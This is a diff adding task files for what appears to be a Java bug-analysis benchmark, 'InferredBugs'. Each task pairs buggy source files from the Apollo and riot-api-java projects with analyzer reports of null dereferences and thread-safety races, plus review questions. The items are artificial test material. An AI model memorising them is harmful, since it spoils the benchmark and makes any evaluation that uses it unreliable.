+        deployableVersion.setGithubRepositoryUrl("https://github.com/logzio/public-api");
+        deployableVersion.setGitCommitSha("c5265fcc8a73c9d5a79170b668c21c958b53a93e");
+        deployableVersion.setServiceId(service.getId());
+
+        deployableVersion.setId(apolloTestClient.addDeployableVersion(deployableVersion).getId());
+
+
+        BlockerDefinition blocker = createAndSubmitBlocker(apolloTestAdminClient, "branch",
+                getBranchBlockerJsonConfiguration("develop"),
+                environment, service);
+
+        assertThatThrownBy(() -> ModelsGenerator.createAndSubmitDeployment(apolloTestClient, environment, service, deployableVersion)).isInstanceOf(Exception.class)
+                .hasMessageContaining("Deployment is currently blocked");
+
+        blocker.setBlockerJsonConfiguration(getBranchBlockerJsonConfiguration("master"));
+        apolloTestAdminClient.updateBlocker(blocker);
+
+        ModelsGenerator.createAndSubmitDeployment(apolloTestClient, environment, service, deployableVersion);
+    }
+
+    @Test
+    public void testConcurrencyBlocker() throws Exception {
+        ApolloTestClient apolloTestClient = Common.signupAndLogin();
+        ApolloTestAdminClient apolloTestAdminClient = Common.getAndLoginApolloTestAdminClient();
+
+        Environment environment = ModelsGenerator.createAndSubmitEnvironment(apolloTestClient);
+        Service serviceA = ModelsGenerator.createAndSubmitService(apolloTestClient);
+        Service serviceB = ModelsGenerator.createAndSubmitService(apolloTestClient);
+
+        DeployableVersion deployableVersionA = ModelsGenerator.createAndSubmitDeployableVersion(apolloTestClient, serviceA);
+        DeployableVersion deployableVersionB = ModelsGenerator.createAndSubmitDeployableVersion(apolloTestClient, serviceB);
+
+        List<Integer> excludedService = new ArrayList<>();
+
+        BlockerDefinition blocker = createAndSubmitBlocker(apolloTestAdminClient, "concurrent",
+                getConcurrencyBlockerJsonConfiguration(1, excludedService),
+                environment, null);
+
+        ModelsGenerator.createAndSubmitDeployment(apolloTestClient, environment, serviceA, deployableVersionA);
+
+        assertThatThrownBy(() -> ModelsGenerator.createAndSubmitDeployment(apolloTestClient, environment, serviceB, deployableVersionB)).isInstanceOf(Exception.class)
+                .hasMessageContaining("Deployment is currently blocked");
+
+        excludedService.add(serviceB.getId());
+        blocker.setBlockerJsonConfiguration(getConcurrencyBlockerJsonConfiguration(1, excludedService));
+        apolloTestAdminClient.updateBlocker(blocker);
+        ModelsGenerator.createAndSubmitDeployment(apolloTestClient, environment, serviceB, deployableVersionB);
+    }
+
+    @Test
+    @Ignore
+    public void testGHCommitStatusBlocker() throws Exception {
+        ApolloTestClient apolloTestClient = Common.signupAndLogin();
+        ApolloTestAdminClient apolloTestAdminClient = Common.getAndLoginApolloTestAdminClient();
+
+        Environment environment = ModelsGenerator.createAndSubmitEnvironment(apolloTestClient);
+        Service service = ModelsGenerator.createAndSubmitService(apolloTestClient);
+
+        DeployableVersion failedDeployableVersion = ModelsGenerator.createAndSubmitDeployableVersion(apolloTestClient, service,
+                APOLLO_REPO_URL, APOLLO_FAILED_STATUS_CHECKS_COMMIT);
+        
+        BlockerDefinition blocker = createAndSubmitBlocker(apolloTestAdminClient, "githubCommitStatus",null, environment, service);
+
+        assertThatThrownBy(() -> ModelsGenerator.createAndSubmitDeployment(apolloTestClient, environment, service, failedDeployableVersion)).isInstanceOf(Exception.class)
+                .hasMessageContaining("Deployment is currently blocked");
+
+        // Attempt to deploy a valid commit should work
+        DeployableVersion validDeployableVersion = ModelsGenerator.createAndSubmitDeployableVersion(apolloTestClient, service,
+                APOLLO_REPO_URL, APOLLO_VALID_STATUS_CHECKS_COMMIT);
+
+        ModelsGenerator.createAndSubmitDeployment(apolloTestClient, environment, service, validDeployableVersion);
+    }
+
+    @Test
+    @Ignore
+    public void testBlockerUserOverride() throws Exception {
+        ApolloTestClient apolloTestClient = Common.signupAndLogin();
+        ApolloTestAdminClient apolloTestAdminClient = Common.getAndLoginApolloTestAdminClient();
+
+        Environment environment = ModelsGenerator.createAndSubmitEnvironment(apolloTestClient);
+        Service service = ModelsGenerator.createAndSubmitService(apolloTestClient);
+
+        DeployableVersion failedDeployableVersion = ModelsGenerator.createAndSubmitDeployableVersion(apolloTestClient, service,
+                APOLLO_REPO_URL, APOLLO_FAILED_STATUS_CHECKS_COMMIT);
+
+        BlockerDefinition blocker = createAndSubmitBlocker(apolloTestAdminClient, "githubCommitStatus",null, environment, service);
+
+        assertThatThrownBy(() -> ModelsGenerator.createAndSubmitDeployment(apolloTestClient, environment, service, failedDeployableVersion)).isInstanceOf(Exception.class)
+                .hasMessageContaining("Deployment is currently blocked");
+
+        apolloTestAdminClient.overrideBlockerByUser(apolloTestClient.getTestUser(), blocker);
+
+        ModelsGenerator.createAndSubmitDeployment(apolloTestClient, environment, service, failedDeployableVersion);
+    }
+
+    @Test
+    public void changeBlockerActiveAttribute() throws Exception {
+        ApolloTestClient apolloTestClient = Common.signupAndLogin();
+        ApolloTestAdminClient apolloTestAdminClient = Common.getAndLoginApolloTestAdminClient();
+
+        Environment environment = ModelsGenerator.createAndSubmitEnvironment(apolloTestClient);
+        Service service = ModelsGenerator.createAndSubmitService(apolloTestClient);
+        BlockerDefinition blocker = createAndSubmitBlocker(apolloTestAdminClient, "githubCommitStatus",null, environment, service);
+
+        Boolean beforeActive = blocker.getActive();
+        Boolean afterActive = !beforeActive;
+
+        BlockerDefinition updatedBlocker = apolloTestClient.updateBlockerDefinitionActiveness(blocker.getId(), afterActive);
+        assertThat(updatedBlocker.getActive()).isEqualTo(afterActive);
+    }
+
+    private String getTimeBasedBlockerJsonConfiguration(int dayOfWeek, LocalTime startDate, LocalTime endDate) {
+
+        return "{\n" +
+                "  \"startTimeUtc\": \"" + startDate.getHour() + ":" + startDate.getMinute() + "\",\n" +
+                "  \"endTimeUtc\": \"" + endDate.getHour() + ":" + endDate.getMinute() + "\",\n" +
+                "  \"daysOfTheWeek\": [\n" +
+                "    " + dayOfWeek + "\n" +
+                "  ]\n" +
+                "}";
+    }
+
+    private String getConcurrencyBlockerJsonConfiguration(int allowedConcurrentDeployment, List<Integer> excludeServices) {
+        return "{\n" +
+                "  \"allowedConcurrentDeployment\": \"" + allowedConcurrentDeployment + "\",\n" +
+                "  \"excludeServices\":" + excludeServices.toString() +
+                "}";
+    }
+
+    private String getBranchBlockerJsonConfiguration(String branchesNames) {
+        return "{\n" +
+                "  \"branchName\": \"" + branchesNames + "\"\n" +
+                "}";
+    }
+
+    private String getUnconditionalBlockerConfiguration(List<Integer> exceptionServiceIds, List<Integer> exceptionEnvironmentIds) {
+
+        if (exceptionServiceIds == null && exceptionEnvironmentIds == null) {
+            return "{}";
+        }
+
+        String jsonConfiguration = "{\n";
+
+        if (exceptionServiceIds != null) {
+            jsonConfiguration += "  \"exceptionServiceIds\":" + exceptionServiceIds.toString();
+            if (exceptionEnvironmentIds != null) {
+                jsonConfiguration += ",\n";
+            }
+        }
+
+        if (exceptionEnvironmentIds != null) {
+            jsonConfiguration +=     "  \"exceptionEnvironmentIds\":" + exceptionEnvironmentIds.toString();
+        }
+
+        return jsonConfiguration += "}";
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `null` could be null and is dereferenced by call to `createAndSubmitBlocker(...)` at line 225.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void BlockerTest.testBlockByAvailabilityOnAllServices()
+
+### Procedure Id:
+io.logz.apollo.BlockerTest.testBlockByAvailabilityOnAllServices():void.a3e738dba312b922b964201db064bd7d
+
+### File:
+apollo-backend/src/test/java/io/logz/apollo/BlockerTest.java
+
+### Key:
+BlockerTest.java|testBlockByAvailabilityOnAllServices|NULL_DEREFERENCE
+
+### Node Key:
+75a3105ef036e14d28c2a0df35d92164
+
+### Hash:
+174af46061a4f8dff3bb574f42f20e0d
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8352/instruction.md b/inferredbugs-8352/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..57897cf65f28f15158dc3707748f5d33f7187d8f
--- /dev/null
+++ b/inferredbugs-8352/instruction.md
@@ -0,0 +1,389 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** riot-api-java
+**Bug ID:** 32
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2016 Taylor Caldwell
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package net.rithms.riot.api.request;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Level;
+
+import net.rithms.riot.api.ApiConfig;
+import net.rithms.riot.api.ApiMethod;
+import net.rithms.riot.api.RiotApi;
+import net.rithms.riot.api.RiotApiAsync;
+import net.rithms.riot.api.RiotApiException;
+
+/**
+ * This class is used to fire asynchronous call at the Riot Api. You should not construct these requests manually. To fire asynchronous
+ * requests, use a {@link RiotApiAsync} object.
+ * 
+ * @author Daniel 'Linnun' Figge
+ * @see RiotApiAsync
+ */
+public class AsyncRequest extends Request implements Runnable {
+
+	protected final Object signal = new Object();
+
+	private List<RequestListener> listeners = new ArrayList<RequestListener>();
+	private Thread executionThread = null;
+	private boolean sent = false;
+
+	/**
+	 * Constructs an asynchronous request
+	 * 
+	 * @param config
+	 *            Configuration to use
+	 * @param method
+	 *            Api method to call
+	 * @see ApiConfig
+	 * @see ApiMethod
+	 */
+	public AsyncRequest(ApiConfig config, ApiMethod object) {
+		super();
+		init(config, object);
+	}
+
+	/**
+	 * Adds a {@link RequestListener} to this request
+	 * 
+	 * @param listener
+	 *            A request listener
+	 * @see RequestListener
+	 */
+	public void addListener(RequestListener listener) {
+		if (!listeners.contains(listener)) {
+			listeners.add(listener);
+		}
+	}
+
+	/**
+	 * Adds a given collection of {@link RequestListener} to this request
+	 * 
+	 * @param listeners
+	 *            A collection of request listeners
+	 * @see RequestListener
+	 */
+	public void addListeners(Collection<RequestListener> listeners) {
+		for (RequestListener listener : listeners) {
+			if (!this.listeners.contains(listener)) {
+				this.listeners.add(listener);
+			}
+		}
+	}
+
+	/**
+	 * Waits indefinitely until the request completes.
+	 * <p>
+	 * If the thread is interrupted while waiting for the request to complete, this method will throw an {@code InterruptedException} and
+	 * the thread's interrupt flag will be cleared.
+	 * </p>
+	 * <p>
+	 * <i>Please note that this method is blocking and thus negates the advantage of the asynchronous nature of this class. Consider using a
+	 * {@link RequestListener} instead.</i>
+	 * </p>
+	 * 
+	 * @throws InterruptedException
+	 *             If the method is interrupted by calling {@link Thread#interrupt()}. The interrupt flag will be cleared
+	 */
+	public void await() throws InterruptedException {
+		if (!isDone()) {
+			synchronized (signal) {
+				while (!isDone()) {
+					signal.wait();
+				}
+			}
+		}
+	}
+
+	/**
+	 * Waits for at most the given time until the request completes.
+	 * <p>
+	 * If the thread is interrupted while waiting for the request to complete, this method will throw an {@code InterruptedException} and
+	 * the thread's interrupt flag will be cleared.
+	 * </p>
+	 * <p>
+	 * <i>Please note that this method is blocking and thus negates the advantage of the asynchronous nature of this class. Consider using a
+	 * {@link RequestListener} instead.</i>
+	 * </p>
+	 *
+	 * @param timeout
+	 *            The maximum amount of the given time unit to wait
+	 * @param unit
+	 *            The time unit of the {@code timeout} argument
+	 * @throws InterruptedException
+	 *             If the method is interrupted by calling {@link Thread#interrupt()}. The interrupt flag will be cleared
+	 * @throws TimeoutException
+	 *             If the given time elapsed without the request completing
+	 */
+	public void await(long timeout, TimeUnit unit) throws InterruptedException, TimeoutException {
+		await(timeout, unit, false);
+	}
+
+	/**
+	 * Waits for at most the given time until the request completes.
+	 * <p>
+	 * If the thread is interrupted while waiting for the request to complete, this method will throw an {@code InterruptedException} and
+	 * the thread's interrupt flag will be cleared.
+	 * </p>
+	 * <p>
+	 * <i>Please note that this method is blocking and thus negates the advantage of the asynchronous nature of this class. Consider using a
+	 * {@link RequestListener} instead.</i>
+	 * </p>
+	 *
+	 * @param timeout
+	 *            The maximum amount of the given time unit to wait
+	 * @param unit
+	 *            The time unit of the {@code timeout} argument
+	 * @param cancelOnTimeout
+	 *            Whether or not the request should be cancelled, if the given {@code timeout} is elapsed without the request completing
+	 * @throws InterruptedException
+	 *             If the method is interrupted by calling {@link Thread#interrupt()}. The interrupt flag will be cleared
+	 * @throws TimeoutException
+	 *             If the given time elapsed without the request completing
+	 */
+	public void await(long timeout, TimeUnit unit, boolean cancelOnTimeout) throws InterruptedException, TimeoutException {
+		final long end = System.currentTimeMillis() + unit.toMillis(timeout);
+		if (!isDone() && System.currentTimeMillis() < end) {
+			synchronized (signal) {
+				while (!isDone() && System.currentTimeMillis() < end) {
+					signal.wait(end - System.currentTimeMillis());
+				}
+			}
+		}
+		if (!isDone()) {
+			if (cancelOnTimeout) {
+				cancel();
+			}
+			throw new TimeoutException();
+		}
+	}
+
+	@Override
+	public boolean cancel() {
+		boolean cancelled = super.cancel();
+		if (!cancelled) {
+			return false;
+		}
+		synchronized (signal) {
+			signal.notifyAll();
+		}
+		// Try to force-quit the connection
+		if (connection != null) {
+			setTimeout(1);
+			connection.disconnect();
+		}
+		return true;
+	}
+
+	@Override
+	public synchronized void execute() {
+		if (isSent()) {
+			return;
+		}
+		sent = true;
+		executionThread = new Thread(this);
+		executionThread.setName("AsyncRequest - " + object);
+		executionThread.start();
+	}
+
+	/**
+	 * Retrieves the request's result. If an exception would be thrown, it is swallowed, since you should only call this method, if the
+	 * request succeeded.
+	 * 
+	 * <p>
+	 * If you want this method to throw exceptions, please use {@link #getDtoAndThrowException()} instead.
+	 * </p>
+	 * 
+	 * @return The object returned by the api call, or {@code null} if the request did not finish yet
+	 */
+	@Override
+	public <T> T getDto() {
+		try {
+			return super.getDto(true);
+		} catch (RiotApiException e) {
+			RiotApi.log.log(Level.FINE, "Retrieving Dto Failed", e);
+		}
+		return null;
+	}
+
+	/**
+	 * Retrieves the request's result. If an exception occures, it is thrown.
+	 * 
+	 * <p>
+	 * If you do not want this method to throw exceptions, please use {@link #getDto()} instead.
+	 * </p>
+	 * 
+	 * @return The object returned by the api call, or {@code null} if the request did not finish yet
+	 * @throws RiotApiException
+	 *             If an exception occurs while parsing the Riot Api's response
+	 */
+	public <T> T getDtoAndThrowException() throws RiotApiException {
+		return super.getDto(true);
+	}
+
+	/**
+	 * Returns {@code true} if this request has started execution
+	 * 
+	 * @return {@code true} if this request has started execution
+	 */
+	public boolean isSent() {
+		return sent;
+	}
+
+	/**
+	 * Notifies the listeners about the given {@code state}.
+	 * 
+	 * @param state
+	 *            The state to notify the listeners about
+	 */
+	protected void notifyListeners(RequestState state) {
+		for (RequestListener listener : listeners) {
+			if (state == RequestState.Succeeded) {
+				listener.onRequestSucceeded(this);
+			} else if (state == RequestState.Failed) {
+				listener.onRequestFailed(getException());
+			} else if (state == RequestState.Timeout) {
+				listener.onRequestTimeout(this);
+			}
+		}
+	}
+
+	/**
+	 * Removes all listeners from this request
+	 * 
+	 * @see RequestListener
+	 */
+	public void removeAllListeners() {
+		listeners.clear();
+	}
+
+	/**
+	 * Removes a listener from this request
+	 * 
+	 * @param listener
+	 *            Listener to remove
+	 * @see RequestListener
+	 */
+	public void removeListener(RequestListener listener) {
+		listeners.remove(listener);
+	}
+
+	@Override
+	public void run() {
+		try {
+			super.execute();
+		} catch (RiotApiException e) {
+			setException(e);
+		}
+	}
+
+	@Override
+	protected boolean setState(RequestState state) {
+		if (isDone()) {
+			return false;
+		}
+		notifyListeners(state);
+		super.setState(state);
+		if (isDone()) {
+			synchronized (signal) {
+				signal.notifyAll();
+			}
+		}
+		return true;
+	}
+
+	@Override
+	protected void setTimeout() {
+		setTimeout(config.getAsyncRequestTimeout());
+	}
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `net.rithms.riot.api.request.AsyncRequest.cancel` indirectly writes to field `this.net.rithms.riot.api.request.Request.state` outside of synchronization.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+boolean AsyncRequest.cancel()
+
+### Procedure Id:
+net.rithms.riot.api.request.AsyncRequest.cancel():boolean.8289431347cc76ab949972e929f05591
+
+### File:
+src/main/java/net/rithms/riot/api/request/AsyncRequest.java
+
+### Key:
+AsyncRequest.java|cancel|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+2e3a9fddb4a9ed186a6914417ff2cdfc
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8354/instruction.md b/inferredbugs-8354/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..881e9516bb053268d67fd9a02b8e9886b0e0dd7c
--- /dev/null
+++ b/inferredbugs-8354/instruction.md
@@ -0,0 +1,389 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** riot-api-java
+**Bug ID:** 33
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2016 Taylor Caldwell
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package net.rithms.riot.api.request;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Level;
+
+import net.rithms.riot.api.ApiConfig;
+import net.rithms.riot.api.ApiMethod;
+import net.rithms.riot.api.RiotApi;
+import net.rithms.riot.api.RiotApiAsync;
+import net.rithms.riot.api.RiotApiException;
+
+/**
+ * This class is used to fire asynchronous call at the Riot Api. You should not construct these requests manually. To fire asynchronous
+ * requests, use a {@link RiotApiAsync} object.
+ * 
+ * @author Daniel 'Linnun' Figge
+ * @see RiotApiAsync
+ */
+public class AsyncRequest extends Request implements Runnable {
+
+	protected final Object signal = new Object();
+
+	private List<RequestListener> listeners = new ArrayList<RequestListener>();
+	private Thread executionThread = null;
+	private boolean sent = false;
+
+	/**
+	 * Constructs an asynchronous request
+	 * 
+	 * @param config
+	 *            Configuration to use
+	 * @param method
+	 *            Api method to call
+	 * @see ApiConfig
+	 * @see ApiMethod
+	 */
+	public AsyncRequest(ApiConfig config, ApiMethod object) {
+		super();
+		init(config, object);
+	}
+
+	/**
+	 * Adds a {@link RequestListener} to this request
+	 * 
+	 * @param listener
+	 *            A request listener
+	 * @see RequestListener
+	 */
+	public void addListener(RequestListener listener) {
+		if (!listeners.contains(listener)) {
+			listeners.add(listener);
+		}
+	}
+
+	/**
+	 * Adds a given collection of {@link RequestListener} to this request
+	 * 
+	 * @param listeners
+	 *            A collection of request listeners
+	 * @see RequestListener
+	 */
+	public void addListeners(Collection<RequestListener> listeners) {
+		for (RequestListener listener : listeners) {
+			if (!this.listeners.contains(listener)) {
+				this.listeners.add(listener);
+			}
+		}
+	}
+
+	/**
+	 * Waits indefinitely until the request completes.
+	 * <p>
+	 * If the thread is interrupted while waiting for the request to complete, this method will throw an {@code InterruptedException} and
+	 * the thread's interrupt flag will be cleared.
+	 * </p>
+	 * <p>
+	 * <i>Please note that this method is blocking and thus negates the advantage of the asynchronous nature of this class. Consider using a
+	 * {@link RequestListener} instead.</i>
+	 * </p>
+	 * 
+	 * @throws InterruptedException
+	 *             If the method is interrupted by calling {@link Thread#interrupt()}. The interrupt flag will be cleared
+	 */
+	public void await() throws InterruptedException {
+		if (!isDone()) {
+			synchronized (signal) {
+				while (!isDone()) {
+					signal.wait();
+				}
+			}
+		}
+	}
+
+	/**
+	 * Waits for at most the given time until the request completes.
+	 * <p>
+	 * If the thread is interrupted while waiting for the request to complete, this method will throw an {@code InterruptedException} and
+	 * the thread's interrupt flag will be cleared.
+	 * </p>
+	 * <p>
+	 * <i>Please note that this method is blocking and thus negates the advantage of the asynchronous nature of this class. Consider using a
+	 * {@link RequestListener} instead.</i>
+	 * </p>
+	 *
+	 * @param timeout
+	 *            The maximum amount of the given time unit to wait
+	 * @param unit
+	 *            The time unit of the {@code timeout} argument
+	 * @throws InterruptedException
+	 *             If the method is interrupted by calling {@link Thread#interrupt()}. The interrupt flag will be cleared
+	 * @throws TimeoutException
+	 *             If the given time elapsed without the request completing
+	 */
+	public void await(long timeout, TimeUnit unit) throws InterruptedException, TimeoutException {
+		await(timeout, unit, false);
+	}
+
+	/**
+	 * Waits for at most the given time until the request completes.
+	 * <p>
+	 * If the thread is interrupted while waiting for the request to complete, this method will throw an {@code InterruptedException} and
+	 * the thread's interrupt flag will be cleared.
+	 * </p>
+	 * <p>
+	 * <i>Please note that this method is blocking and thus negates the advantage of the asynchronous nature of this class. Consider using a
+	 * {@link RequestListener} instead.</i>
+	 * </p>
+	 *
+	 * @param timeout
+	 *            The maximum amount of the given time unit to wait
+	 * @param unit
+	 *            The time unit of the {@code timeout} argument
+	 * @param cancelOnTimeout
+	 *            Whether or not the request should be cancelled, if the given {@code timeout} is elapsed without the request completing
+	 * @throws InterruptedException
+	 *             If the method is interrupted by calling {@link Thread#interrupt()}. The interrupt flag will be cleared
+	 * @throws TimeoutException
+	 *             If the given time elapsed without the request completing
+	 */
+	public void await(long timeout, TimeUnit unit, boolean cancelOnTimeout) throws InterruptedException, TimeoutException {
+		final long end = System.currentTimeMillis() + unit.toMillis(timeout);
+		if (!isDone() && System.currentTimeMillis() < end) {
+			synchronized (signal) {
+				while (!isDone() && System.currentTimeMillis() < end) {
+					signal.wait(end - System.currentTimeMillis());
+				}
+			}
+		}
+		if (!isDone()) {
+			if (cancelOnTimeout) {
+				cancel();
+			}
+			throw new TimeoutException();
+		}
+	}
+
+	@Override
+	public boolean cancel() {
+		boolean cancelled = super.cancel();
+		if (!cancelled) {
+			return false;
+		}
+		synchronized (signal) {
+			signal.notifyAll();
+		}
+		// Try to force-quit the connection
+		if (connection != null) {
+			setTimeout(1);
+			connection.disconnect();
+		}
+		return true;
+	}
+
+	@Override
+	public synchronized void execute() {
+		if (isSent()) {
+			return;
+		}
+		sent = true;
+		executionThread = new Thread(this);
+		executionThread.setName("AsyncRequest - " + object);
+		executionThread.start();
+	}
+
+	/**
+	 * Retrieves the request's result. If an exception would be thrown, it is swallowed, since you should only call this method, if the
+	 * request succeeded.
+	 * 
+	 * <p>
+	 * If you want this method to throw exceptions, please use {@link #getDtoAndThrowException()} instead.
+	 * </p>
+	 * 
+	 * @return The object returned by the api call, or {@code null} if the request did not finish yet
+	 */
+	@Override
+	public <T> T getDto() {
+		try {
+			return super.getDto(true);
+		} catch (RiotApiException e) {
+			RiotApi.log.log(Level.FINE, "Retrieving Dto Failed", e);
+		}
+		return null;
+	}
+
+	/**
+	 * Retrieves the request's result. If an exception occures, it is thrown.
+	 * 
+	 * <p>
+	 * If you do not want this method to throw exceptions, please use {@link #getDto()} instead.
+	 * </p>
+	 * 
+	 * @return The object returned by the api call, or {@code null} if the request did not finish yet
+	 * @throws RiotApiException
+	 *             If an exception occurs while parsing the Riot Api's response
+	 */
+	public <T> T getDtoAndThrowException() throws RiotApiException {
+		return super.getDto(true);
+	}
+
+	/**
+	 * Returns {@code true} if this request has started execution
+	 * 
+	 * @return {@code true} if this request has started execution
+	 */
+	public boolean isSent() {
+		return sent;
+	}
+
+	/**
+	 * Notifies the listeners about the given {@code state}.
+	 * 
+	 * @param state
+	 *            The state to notify the listeners about
+	 */
+	protected void notifyListeners(RequestState state) {
+		for (RequestListener listener : listeners) {
+			if (state == RequestState.Succeeded) {
+				listener.onRequestSucceeded(this);
+			} else if (state == RequestState.Failed) {
+				listener.onRequestFailed(getException());
+			} else if (state == RequestState.Timeout) {
+				listener.onRequestTimeout(this);
+			}
+		}
+	}
+
+	/**
+	 * Removes all listeners from this request
+	 * 
+	 * @see RequestListener
+	 */
+	public void removeAllListeners() {
+		listeners.clear();
+	}
+
+	/**
+	 * Removes a listener from this request
+	 * 
+	 * @param listener
+	 *            Listener to remove
+	 * @see RequestListener
+	 */
+	public void removeListener(RequestListener listener) {
+		listeners.remove(listener);
+	}
+
+	@Override
+	public void run() {
+		try {
+			super.execute();
+		} catch (RiotApiException e) {
+			setException(e);
+		}
+	}
+
+	@Override
+	protected boolean setState(RequestState state) {
+		if (isDone()) {
+			return false;
+		}
+		notifyListeners(state);
+		super.setState(state);
+		if (isDone()) {
+			synchronized (signal) {
+				signal.notifyAll();
+			}
+		}
+		return true;
+	}
+
+	@Override
+	protected void setTimeout() {
+		setTimeout(config.getAsyncRequestTimeout());
+	}
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `net.rithms.riot.api.request.AsyncRequest.cancel` reads without synchronization from `this.net.rithms.riot.api.request.Request.connection`. Potentially races with write in method `AsyncRequest.run()`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+boolean AsyncRequest.cancel()
+
+### Procedure Id:
+net.rithms.riot.api.request.AsyncRequest.cancel():boolean.8289431347cc76ab949972e929f05591
+
+### File:
+src/main/java/net/rithms/riot/api/request/AsyncRequest.java
+
+### Key:
+AsyncRequest.java|cancel|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+45d46ed2a0dc78a99d2800f1059e7864
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8355/instruction.md b/inferredbugs-8355/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..6626b81439bfbd2a647ee459d91af749207b8029
--- /dev/null
+++ b/inferredbugs-8355/instruction.md
@@ -0,0 +1,1906 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** riot-api-java
+**Bug ID:** 20
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package main.java.riotapi;
+
+/**
+ * Riot Games API Java Library
+ * riot-api-java
+ * by Taylor Caldwell - @rithms
+ * http://rithms.im 
+ */
+
+/*
+ * Copyright 2014 Taylor Caldwell
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+import java.util.List;
+import java.util.Map;
+
+import constant.PlatformId;
+import constant.QueueType;
+import constant.Region;
+import constant.Season;
+import constant.staticdata.ChampData;
+import constant.staticdata.ItemData;
+import constant.staticdata.ItemListData;
+import constant.staticdata.MasteryData;
+import constant.staticdata.MasteryListData;
+import constant.staticdata.RuneData;
+import constant.staticdata.RuneListData;
+import constant.staticdata.SpellData;
+import dto.Champion.*;
+import dto.CurrentGame.CurrentGameInfo;
+import dto.FeaturedGames.FeaturedGames;
+import dto.Game.RecentGames;
+import dto.League.League;
+import dto.Match.MatchDetail;
+import dto.MatchHistory.PlayerHistory;
